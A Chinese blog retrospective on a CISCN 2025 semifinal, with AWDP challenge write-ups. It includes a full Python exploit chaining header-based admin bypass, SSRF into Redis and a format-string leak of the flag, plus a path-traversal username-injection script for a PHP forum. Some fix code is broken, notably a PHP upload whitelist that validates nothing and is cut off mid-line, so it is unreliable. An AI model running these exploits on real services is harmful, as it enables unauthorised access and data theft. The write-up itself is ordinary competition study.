CISCN&长城杯2025半决赛复盘


感觉半决赛打的还是失误太多了

AWDP

timecapsule

这题的fix和break单独写了一篇博客,自己翻翻应该翻得到。

这题就亏在没有第一时间去fix,而是脑子里想着怎么break,留一点时间来fix也不迟,结果break的链子一时间太难找了,fix上去之后又卡check卡了两轮主办方才修好check的问题,直接少吃两轮的fix分数。当时就应该第一时间修好,脑子瓦特了

rng-assistant

这题我们break快break成功了,但是想不到一个read only的redis该如何利用,赛后看完发现是通过之后的ssti才能break成功

break

源码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
import socket
import redis
import json
import os

from hashlib import md5, sha256
from os.path import join
from flask import Flask, request, jsonify, session
from flag import FLAG

app = Flask(__name__)
app.secret_key = os.urandom(0x10)

redis_conn = redis.Redis(host="localhost", port=6379, db=0)

model_ports = {"math-v1": 54321, "default": 50051}

# Port to Database at v1.0.
users = {"test": {"password": "098f6bcd4621d373cade4e832627b4f6"}}


# ======== Utilities ========
class PromptTemplate:
PROMPT_DIR = "static/prompts"

def __init__(self, question, user_level="primary"):
self.user_level = user_level
self.question = question

@staticmethod
def get_template(template_id):
prompt_key = f"prompt:{template_id}"
prompt = redis_conn.get(prompt_key)
if not prompt:
template_path = join(PromptTemplate.PROMPT_DIR, f"{template_id}.txt")
with open(template_path, "rb") as file:
prompt = file.read()
redis_conn.set(prompt_key, prompt)
prompt = prompt.decode(errors="ignore")
return prompt

def get_prompt(self, template_id):
return PromptTemplate.get_template(template_id).format(t=self)


def get_model_port(model_id):
return model_ports.get(model_id, model_ports["default"])


def generate_prompt(user_question, prompt_id="math-v1"):
return PromptTemplate(user_question).get_prompt(prompt_id)


def query_model(prompt, model_id="default"):
cache_key = f"{md5(prompt.encode()).hexdigest()}:{model_id}"
cached = redis_conn.get(cache_key)
if cached:
return cached.decode()

try:
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.connect(("127.0.0.1", get_model_port(model_id)))
s.sendall(prompt.encode("utf-8"))
response = s.recv(4096).decode("utf-8")

redis_conn.setex(cache_key, 3600, response) # Cache for 1 hour
return response
except Exception as e:
return f"Model service error: {str(e)}"


def generate_salt():
return os.urandom(0x10)


def hash_password(password, salt):
return sha256(salt + password.encode()).hexdigest()


# ================

def whoami(username):
role = request.headers.get("X-User-Role")
if username is None:
r = role
else:
r = username + ":" + role
return r

@app.route("/")
def index():
return f"Welcome to the RNG Assistant, {whoami(session['user'])}!"


@app.route("/register", methods=["POST"])
def register():
data = request.json
username = data.get("username")
password = data.get("password")

if not username or not password:
return jsonify({"error": "Missing username or password"}), 400

if username in users:
return jsonify({"error": "Username already exists"}), 400

salt = generate_salt()
hashed_password = hash_password(password, salt)
users[username] = {"password": hashed_password, "salt": salt}
return jsonify({"message": "Registration successful"})


@app.route("/login", methods=["POST"])
def login():
data = request.json
username = data.get("username")
password = data.get("password")

user = users.get(username)
if not user or user["password"] != hash_password(password, user["salt"]):
return jsonify({"error": "Invalid credentials"}), 401

session["user"] = username
return jsonify({"message": f"Login successful", "user": whoami(session['user'])})


@app.route("/ask", methods=["POST"])
def ask_question():
if "user" not in session:
return jsonify({"error": "Login required"}), 401

data = request.json
question = data.get("question")
model_id = data.get("model_id", "default")

final_prompt = generate_prompt(question)

response = query_model(final_prompt, model_id)
res = {"answer": response, "prompt": final_prompt, "model_id": model_id, "user": whoami(session['user'])}
return jsonify(res)


@app.route("/admin/raw_ask", methods=["POST", "PUT", "DELETE"])
def manage_ask():
if (
"user" not in session
or request.headers.get("X-User-Role") != "admin"
or request.headers.get("X-Secret") != "210317a2ee916063014c57d879b9d3bc"
):
return jsonify({"error": "Access denied"}), 403

data = request.json
model_id = data.get("model_id", "default")
custom_prompt = data.get("prompt")

final_prompt = custom_prompt

response = query_model(final_prompt, model_id)
return jsonify({"answer": response, "user": whoami(session['user'])})


@app.route("/admin/model_ports", methods=["POST", "PUT", "DELETE"])
def manage_model_ports():
if (
"user" not in session
or request.headers.get("X-User-Role") != "admin"
or request.headers.get("X-Secret") != "210317a2ee916063014c57d879b9d3bc"
):
return jsonify({"error": "Access denied"}), 403

data = request.json
model_id = data.get("model_id")
port = data.get("port")

if request.method in ["POST", "PUT"]:
if not model_id or not port:
return jsonify({"error": "Missing parameters"}), 400
model_ports[model_id] = port
return jsonify({"message": "Update successful", "user": whoami(session['user'])})

elif request.method == "DELETE":
if not model_id:
return jsonify({"error": "Missing model_id"}), 400
if model_id in model_ports:
del model_ports[model_id]
return jsonify({"message": "Delete successful", "user": whoami(session['user'])})


if __name__ == "__main__":
app.run(port=8000)

先看路由吧:

1
2
3
@app.route("/")
def index():
return f"Welcome to the RNG Assistant, {whoami(session['user'])}!"

根路由没啥用,这个whoami读取headers里的X-User-Role来识别角色身份

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
@app.route("/register", methods=["POST"])
def register():
data = request.json
username = data.get("username")
password = data.get("password")

if not username or not password:
return jsonify({"error": "Missing username or password"}), 400

if username in users:
return jsonify({"error": "Username already exists"}), 400

salt = generate_salt()
hashed_password = hash_password(password, salt)
users[username] = {"password": hashed_password, "salt": salt}
return jsonify({"message": "Registration successful"})

注册也是,简单的注册

登录也是简单的登录然后进行验证,然后赋session:

1
2
3
4
5
6
7
8
9
10
11
12
@app.route("/login", methods=["POST"])
def login():
data = request.json
username = data.get("username")
password = data.get("password")

user = users.get(username)
if not user or user["password"] != hash_password(password, user["salt"]):
return jsonify({"error": "Invalid credentials"}), 401

session["user"] = username
return jsonify({"message": f"Login successful", "user": whoami(session['user'])})

ask路由能询问ai:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
@app.route("/ask", methods=["POST"])
def ask_question():
if "user" not in session:
return jsonify({"error": "Login required"}), 401

data = request.json
question = data.get("question")
model_id = data.get("model_id", "default")

final_prompt = generate_prompt(question)

response = query_model(final_prompt, model_id)
res = {"answer": response, "prompt": final_prompt, "model_id": model_id, "user": whoami(session['user'])}
return jsonify(res)

做了一个鉴权之后生成模型之后就去给模型提问

raw_ask路由同样能够询问路由,而且能够自定prompt:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
@app.route("/admin/raw_ask", methods=["POST", "PUT", "DELETE"])
def manage_ask():
if (
"user" not in session
or request.headers.get("X-User-Role") != "admin"
or request.headers.get("X-Secret") != "210317a2ee916063014c57d879b9d3bc"
):
return jsonify({"error": "Access denied"}), 403

data = request.json
model_id = data.get("model_id", "default")
custom_prompt = data.get("prompt")

final_prompt = custom_prompt

response = query_model(final_prompt, model_id)
return jsonify({"answer": response, "user": whoami(session['user'])})

顺带一提,这个鉴权由于是通过headers来辨认的,所以注册随便一个用户都能够直接通过验证得到admin身份

最后这个路由:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
@app.route("/admin/model_ports", methods=["POST", "PUT", "DELETE"])
def manage_model_ports():
if (
"user" not in session
or request.headers.get("X-User-Role") != "admin"
or request.headers.get("X-Secret") != "210317a2ee916063014c57d879b9d3bc"
):
return jsonify({"error": "Access denied"}), 403

data = request.json
model_id = data.get("model_id")
port = data.get("port")

if request.method in ["POST", "PUT"]:
if not model_id or not port:
return jsonify({"error": "Missing parameters"}), 400
model_ports[model_id] = port
return jsonify({"message": "Update successful", "user": whoami(session['user'])})

elif request.method == "DELETE":
if not model_id:
return jsonify({"error": "Missing model_id"}), 400
if model_id in model_ports:
del model_ports[model_id]
return jsonify({"message": "Delete successful", "user": whoami(session['user'])})

简单的看一下会发现它会根据model_id去寻找对应的模型,然后修改它对应的端口,在app.py里可以看到对应的模型端口:

询问ai的query_model函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
def query_model(prompt, model_id="default"):
cache_key = f"{md5(prompt.encode()).hexdigest()}:{model_id}"
cached = redis_conn.get(cache_key)
if cached:
return cached.decode()

try:
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.connect(("127.0.0.1", get_model_port(model_id)))
s.sendall(prompt.encode("utf-8"))
response = s.recv(4096).decode("utf-8")

redis_conn.setex(cache_key, 3600, response) # Cache for 1 hour
return response
except Exception as e:
return f"Model service error: {str(e)}"

这里来使用socket传递,有种ssrf的味道,结合题目中的改端口操作以及redis服务,想的第一时间应该是ssrf打redis的操作

那实际的操作流程应该是:绕过鉴权后访问/admin/model_ports来修改端口成6379,从而访问redis服务,再通过/admin/raw_ask来对redis进行攻击:

1
2
3
4
5
/admin/model_ports 路由:
{
"model_id":"default",
"port":6379
}

修改default模型的端口为6379,然后通过raw_ask发送socket请求从而打redis:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
payload = """\
CONFIG SET dir /tmp/\n
set x "aa"\n
save
info"""

resp = requests.post(
url=f"http://{host}:{port}/admin/raw_ask",
headers={
"X-User-Role": "admin",
"Content-Type": "application/json",
},
cookies={
"session": cookie
},
data=json.dumps({
"prompt": payload
})
)

当时redis存在未授权访问,尝试未授权写webshell,但是是python服务,无法战胜。然后想进行写ssh key,发现没有给你22端口,也是无法战胜。最后想进行主从复制rce,发现这个 redis居然是read only slave,不能够打主从复制。

基本上redis的路线都被ban了,该怎么办呢?

注意到:

1
2
def get_prompt(self, template_id):
return PromptTemplate.get_template(template_id).format(t=self)

这个函数传入了格式化字符串,因为通过get_template会返回一个字符串,然后通过格式化字符串渲染字符

在学习pyjail的时候有了解过f字符串进行执行(.format也同理,是格式化字符串的一种),但是测试发现.format的限制会略微比f字符串大一些,如下demo所示:

1
2
3
4
5
6
7
>>> "{f.__class__}".format(f='')

# <class 'str'>

>>> f"{''.__class__}"

# <class 'str'>

可以实现类似ssti的内容

本题中,由于template存在了redis里,如下所示:

1
2
3
4
5
6
7
8
9
10
11
@staticmethod
def get_template(template_id):
prompt_key = f"prompt:{template_id}"
prompt = redis_conn.get(prompt_key)
if not prompt:
template_path = join(PromptTemplate.PROMPT_DIR, f"{template_id}.txt")
with open(template_path, "rb") as file:
prompt = file.read()
redis_conn.set(prompt_key, prompt)
prompt = prompt.decode(errors="ignore")
return prompt

先访问redis如果redis内没有再去访问本地文件,因此优先获取redis内的数据。我们可以尝试修改prompt:{template_id}的值,然后向ai问问题,get_prompt后实现模板渲染

值得一提的是题目特意有一行:

1
from flag import FLAG

因此可以通过__init__.__globals__获得,题目恰好又会传入self(也就是PromptTemplate对象),不妨测试一下:

1
2
3
4
5
6
7
8
flag = "123"

class Person:
def __init__(self):
pass
t = Person()

print("{t.__init__.__globals__}".format(t=t))

由此可见可以从class.__init__.__globals__中获得import进的全局变量flag

编写exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
import requests
import json

host = "127.0.0.1"
port = 18082

payload = """\
SET prompt:math-v1 {t.__init__.__globals__}
info"""

resp = requests.post(
url=f"http://{host}:{port}/register",
headers={
"Content-Type": "application/json",
},
data=json.dumps({
"username": "caterpie",
"password": "password"
})
)

resp = requests.post(
url=f"http://{host}:{port}/login",
headers={
"Content-Type": "application/json",
},
data=json.dumps({
"username": "caterpie",
"password": "password"
})
)

cookie = resp.headers.get("Set-Cookie").split(";")[0].split("=")[1]

resp = requests.post(
url=f"http://{host}:{port}/admin/model_ports",
headers={
"X-User-Role": "admin",
"Content-Type": "application/json",
},
cookies={
"session": cookie
},
data=json.dumps({
"model_id": "default",
"port": 6379
})
)

resp = requests.post(
url=f"http://{host}:{port}/admin/raw_ask",
headers={
"X-User-Role": "admin",
"Content-Type": "application/json",
},
cookies={
"session": cookie
},
data=json.dumps({
"prompt": payload
})
)

resp2 = requests.post(
url=f"http://{host}:{port}/ask",
headers={
"X-User-Role": "admin",
"Content-Type": "application/json",
},
cookies={
"session": cookie
},
data=json.dumps({
"question": "hi"
})
)

# print(resp.text)

print(resp2.text)

fix

fix不了一点,十次机会全是操作异常,思路应该是禁止访问6379端口,然后再鉴权做好一下,而题目限制用sed修改,当时怎么修复都修不好,摆了,直到awdp结束都没有一个队伍能够修好这个容器。

感觉是启动脚本写的不对,又没有太好的方式,只能先照抄start.sh

1
2
3
4
5
6
7
8
9
10
11
# 除了php外的服务都得重启才能够生效的,所以先要把进程kill掉
ps -ef | grep python | grep -v grep | awk '{print 2}'| xargs kill -9

sed -i "s/model_ports\[model_id\] = port/model_ports\[model_id\] = 50051 if port ==
6379 else port/g" /app/app.py

python3 /app/mini-ollama/default.py &
python3 /app/mini-ollama/math-v1.py &

gunicorn --workers 1 --user=www-data --bind 127.0.0.1:8000 app:app &
nginx

直接贴我们成员写的可能修复的脚本了,好麻烦:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#!/bin/bash
$NEW_PASSWD = "aDm1Ni2eb56O"
# down 掉所有 python 服务
ps -ef | grep python | grep -v grep | awk '{print $2}' | xargs kill -9
# 修复 SSRF
sed -i "s/get(\"X-User-Role\") != \"admin\"/get(\"X-User-Role\") != \"$NEW_PASSWD\"/g" /app/app.py
sed -i "s/model_ports\[model_id\] = port/model_ports\[model_id\] = 50051 if port == 6379 else port/g" /app/app.py

# 重启 python 服务
python3 /app/mini-ollama/default.py &
python3 /app/mini-ollama/math-v1.py &
cd /app
gunicorn --workers 1 --user=www-data --bind 127.0.0.1:8000 app:app &

# 刷新 nginx 配置
sed -i "s/\"admin\"/\"$NEW_PASSWD\"/g" /etc/nginx/sites-available/flask_app
nginx -s reload

php_master

这位更是重量级。。

真的是这题失策了,实际上源码十分地简单,但是第一眼看到的时候可能会两眼一黑:

附件里没给任何一个php,给的是docker的layer,需要你从这些layer里提取出源码,在blobs里基本上就是.tar文件,添加个tar后缀就行了

打开这个tar可以发现是部分根目录:

如法炮制,发现

1
41ede4ab967a9d396c215e04cb1891f238fec316bf6f6d347e8cca9f3c1bbef5

文件中存在start.sh

1
2
3
4
5
6
7
8
9
#!/bin/bash

echo $FLAG > /flag
chmod 400 /flag
FLAG="flag{not_here}"

# DO NOT DELETE
service apache2 start
sleep infinity;

发现flag是400权限,需要提权

1
d9a18dcc32cc2bade1a31f59e8c8984682f03aef1b3ee44f687ba95a15e1949c.tar

是flag

后面1kb的基本上都是json

3405bc7c7c007230c0e5580feae2824b570a6fc578bc8fc4a5ba84f8ce359390.tar发现index.php:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
<?php
@error_reporting(E_ALL);

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
if (isset($_FILES['file'])) {
$file = $_FILES['file'];

$upload_dir = '';
$target_file = $upload_dir . basename($file['name']);

$result = move_uploaded_file($file['tmp_name'], $target_file);

if ($result) {
$message = '文件上传成功!';
$msg_class = 'success';
} else {
$message = '文件上传失败';
$msg_class = 'error';
}
} else {
$message = '没有选择要上传的文件';
$msg_class = 'error';
}
}
?>

<!DOCTYPE html>
<html lang="zh-CN">
<head>
<meta charset="UTF-8">
<title>PHP MASTER</title>
<style>
body {
font-family: Arial, sans-serif;
max-width: 500px;
margin: 50px auto;
padding: 20px;
}
.upload-box {
border: 2px dashed #ccc;
padding: 30px;
text-align: center;
}
.btn {
background: #007bff;
color: white;
padding: 10px 20px;
border: none;
border-radius: 4px;
cursor: pointer;
}
.btn:hover {
background: #0056b3;
}
.message {
padding: 15px;
margin: 20px 0;
border-radius: 4px;
}
.success {
background: #d4edda;
color: #155724;
border: 1px solid #c3e6cb;
}
.error {
background: #f8d7da;
color: #721c24;
border: 1px solid #f5c6cb;
}
</style>
</head>
<body>
<h2>PHP MASTER</h2>

<?php if (isset($message)): ?>
<div class="message <?php echo $msg_class; ?>">
<?php echo $message; ?>
</div>
<?php endif; ?>

<form action="" method="post" enctype="multipart/form-data" class="upload-box">
<p>请选择要上传的文件:</p>
<input type="file" name="file" required>
<br><br>
<button type="submit" class="btn">上传文件</button>
</form>
</body>
</html>

可以看到是一个非常简单到无脑的文件上传

1
9ba485fd11f8ba325ac3433357e33b5c8912578e3800719723cf92a517bc5407.tar

里发现了vuln.so,路径在/usr/local/lib/php/extensions/no-debug-non-zts-20210902,感觉应该像pwn那边的任务,搜索找到了D3CTF那边应该有相关的题目

思路可能是上传webshell之后进行pwn的相关操作

气晕了,队友把index.php都扒出来了,然后tmd我们在打rng-assistant就没有管这个题,下次真的得注意一下…

fix

修复就更简单了,文件上传的修复啊,因此这题的fix是很简单的:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
<?php
@error_reporting(E_ALL);

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
if (isset($_FILES['file'])) {
$file = $_FILES['file'];

$upload_dir = '';

$whitelist = [".jpg", ".png", ".gif"];

$filename = basename($file['name'][0]);
$file_ext = pathinfo($filename, PATHINFO_EXTENSION);

foreach($whitelist as $w){
if($file_ext !== $w){
$flag = false;
}
}

$flag = true;

//$target_file = $upload_dir . basename($file['name']);


//$result = move_uploaded_file($file['tmp_name'], $target_file);

if ($flag) {
$target_file = $upload_dir . basename($file['name']);
$result = move_uploaded_file($file['tmp_name'], $target_file);

if ($result) {
$message = '文件上传成功!';
$msg_class = 'success';
} else {
$message = '文件上传失败';
$msg_class = 'error';
}

} else {
$message = 'waf';
$msg_class = 'error';
}


} else {
$message = '没有选择要上传的文件';
$msg_class = 'error';
}
}
?>

<!DOCTYPE html>
<html lang="zh-CN">
<head>
<meta charset="UTF-8">
<title>PHP MASTER</title>
<style>
body {
font-family: Arial, sans-serif;
max-width: 500px;
margin: 50px auto;
padding: 20px;
}
.upload-box {
border: 2px dashed #ccc;
padding: 30px;
text-align: center;
}
.btn {
background: #007bff;
color: white;
padding: 10px 20px;
border: none;
border-radius: 4px;
cursor: pointer;
}
.btn:hover {
background: #0056b3;
}
.message {
padding: 15px;
margin: 20px 0;
border-radius: 4px;
}
.success {
background: #d4edda;
color: #155724;
border: 1px solid #c3e6cb;
}
.error {
background: #f8d7da;
color: #721c24;
border: 1px solid #f5c6cb;
}
</style>
</head>
<body>
<h2>PHP MASTER</h2>

<?php if (isset($message)): ?>
<div class="message <?php echo $msg_class; ?>">
<?php echo $message; ?>
</div>
<?php endif; ?>

<form action="" method="post" enctype="multipart/form-data" class="upload-box">
<p>请选择要上传的文件:</p>
<input type="file" name="file" required>
<br><br>
<button type="submit" class="btn">上传文件</button>
</form>
</body>
</html>$filename = basename($_FILE

感觉可以改成这样

ccforum

当时没看懂, 为什么我把数字和字母都过滤掉都能说我exp利用成功,通防已经上得很极限了还能利用成功,那也是没办法。。

break

后面等比赛结束后发现了其他队的做题思路才能好好学习,原因竟然是发生在一个以换行分割存在的问题上

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
$log_lines = explode("\n", $action_log);

$banned_users = [];
$failed_logs = [];

foreach ($log_lines as $line) {
if (empty($line)) {
continue;
}

$parts = explode(',', $line);
if (count($parts) < 5) {
continue;
}

$encoded_user = $parts[1];
$action = $parts[2];
$success = (int) $parts[3];
$additional_info = $parts[4];

if ($action === 'record_banned') {
if ($success === 1) {
$banned_users[$encoded_user][] = $additional_info;
} else {
$failed_logs[] = $additional_info;
}
}
}

$banned_contents = [];
foreach ($banned_users as $encoded_user => $logs) {
$banned_dir = "/var/www/banned/{$encoded_user}";

if (file_exists($banned_dir)) {
$files = scandir($banned_dir);
foreach ($files as $file) {
if ($file !== '.' && $file !== '..') {
$file_path = $banned_dir . '/' . $file;
$content = file_get_contents($file_path);
$banned_contents[$username][] = $content;
}
}
}
}

admin.php对多行日志以\n进行处理后可以得到每一行的不同部分,对于每一行采用,进行分割,分成的部分为:

1
2
3
4
$encoded_user = $parts[1];
$action = $parts[2];
$success = (int) $parts[3];
$additional_info = $parts[4];

而对于action而言,如果action是record_banned,并且$success为1的时候会添加banned_users,并在下面的逻辑中派上用场:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
$banned_contents = [];
foreach ($banned_users as $encoded_user => $logs) {
$banned_dir = "/var/www/banned/{$encoded_user}";

if (file_exists($banned_dir)) {
$files = scandir($banned_dir);
foreach ($files as $file) {
if ($file !== '.' && $file !== '..') {
$file_path = $banned_dir . '/' . $file;
$content = file_get_contents($file_path);
$banned_contents[$username][] = $content;
}
}
}
}

它会根据encoded_user来扫描该目录下的所有文件,并获取到文件内容添加到$banned_contents里,在html中回显出来:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<body>
<div class="container">
<h1>Admin Dashboard</h1>

<div class="section">
<h2>Banned Users and Contents</h2>
<?php if (empty($banned_contents)): ?>
<p>No banned content found.</p>
<?php else: ?>
<?php foreach ($banned_contents as $encoded_user => $contents): ?>
<div class="content">
<h3>User: <?php echo $encoded_user; ?></h3>
<?php foreach ($contents as $content): ?>
<pre><?php echo htmlspecialchars($content); ?></pre>
<?php endforeach; ?>
</div>
<?php endforeach; ?>
<?php endif; ?>
</div>

也就是说我们只需要对$log_lines里写这样的内容

1
<任意内容>,../../../,record_banned,1,<任意内容>

就能够在$banned_contents里通过目录穿越来读到根目录下所有文件的内容

接下来就是对$log_lines进行分析了

1
2
3
$action_log_path = '/var/www/action.log';
$action_log = file_get_contents($action_log_path);
$log_lines = explode("\n", $action_log);

此时应该去分析$action_log_path是怎么写入的,继续查看源码

发现在config.php里有file_put_contents写入的操作:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
function log_action($username, $action, $succ, $additional = '')
{
$log_id = uniqid();
$e_username = encode_uname($username);
$log_line = sprintf(
"%s,%s,%s,%d,%s\n",
$log_id,
$e_username,
$action,
$succ,
$additional
);

file_put_contents('/var/www/action.log', $log_line, FILE_APPEND);
}

然后你会发现写入的时候是写入的encode_uname

1
2
3
4
function encode_uname($username)
{
return base64_encode($username);
}

因此我们想在username直接动手似乎不太可能,全局搜索log_action函数的使用,发现:

大部分的逻辑都被写死了(username、action、succ都被写死,addtional缺省,根据log_action函数应该是写入空),只有log_action($username, 'record_banned', $succ, $log)略带不同,它带有$log参数能够写入addtional

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
function record_banned($username, $banned)
{
$e_username = encode_uname($username);
$banned_dir = "/var/www/banned/{$e_username}";
$created = true;
if (!file_exists($banned_dir)) {
$created = mkdir($banned_dir, 0750);
}
$log = "";
$succ = 1;
if (!$created) {
$succ = 0;
$log = "Failed to create record directory for " . $username;
} else {
$filename = $banned_dir . '/' . time() . '.txt';
if (!file_put_contents($filename, $banned)) {
$succ = 0;
$log = "Failed to record banned content";
}
}
log_action($username, 'record_banned', $succ, $log);
}

可以看到$log是直接拼接$username进去的,前提是created为false,也就是需要绕过mkdir($banned_dir, 0750)

由于php中不允许创建多级目录,也就是不允许创建A/B这样的目录,因此我需要一个经过base64_encode之后的用户名存在有/的用户。

还记得我们一定要写的内容吗?

1
<任意内容>\n,../../../,record_banned,1,<任意内容>

因此在这之前的任意内容能够让我们实现加密后产生/(b64encode是可能会出现/的)

写一个脚本跑一下:

1
2
3
4
5
6
7
8
9
10
<?php
$username = "\n,../../../,record_banned,1,";
for($i = 0; $i < 2000; $i++){
for($j = 0; $j < 2000; $j++){
$e_username = base64_encode(chr($i).chr($j).$username);
if(strpos($e_username, '/') > 0){
die(urlencode($e_username));
}
}
}

根据跑出的结果注册这个用户名,然后发带有敏感词的帖子触发record_banned即可

1
2
3
%03%F0%0A%2C..%2F..%2F..%2F%2Crecord_banned%2C1%2C

#跑出的username

fix

那fix就很简单了,既然是base64跑出来的问题,那直接把username的加密方式从base64换成其他的加密方式即可,例如md5

当然另外一种方式就是把\n去掉

感觉这里自己还是太菜啦,但是为什么我过滤了数字和字母还有符号都能判我利用成功呢?按照常理来说你的用户名都不允许这么做输入了应该是可以的啊

ISW

全靠应急响应立大功,web是躺赢狗

还是太慌了,做了那么久一个flag没找出来,连一点线索都没有

git

这道题我感觉确实就是有些思路做少了,flag没拿几个

dirsearch搜到有.git泄露,但是通过githacker扫下来的分支都是not here,然后啥都没有,只能够另寻他路

然后莫名其妙在登录的时候发现能够sql注入,随便写了个盲注的脚本,然后啥用没有,用万能密码登录成功后跳转回首页,十分地懵逼,然后队友发现dirsearch扫出来的那几个php成了可以访问的了,莫名其妙就进了后台,然后莫名其妙传了个文件又莫名其妙getshell了

后续就是把整个html扒下来恢复git之后拿到了flag1


后面实在没想到在/home/.gitlab里又有一个flag4,名字叫lookme,没话说。然后看到了ryan用户里有一个del.py,这里有些莫名其妙,但是发现它可以用来提权,提权到root在root文件夹里又有一个flag

登录到ryan用户里又可以拿到flag3,这真的亏,可以全局搜索flag的,但是我没找到,尝试用find找的flag,结果根本没有

下次必须要用grep来找了:

1
find / -type f | xargs grep -H -l 'flag' &2>/dev/null

ccb2025

这题xss都tmd请求都没发过来,当时看到feedback.html能够向admin发送反馈,然后admin每隔一段时间会登录就知道应该是xss了,但是xss等了好久了我们请求都没发过来,于是摆了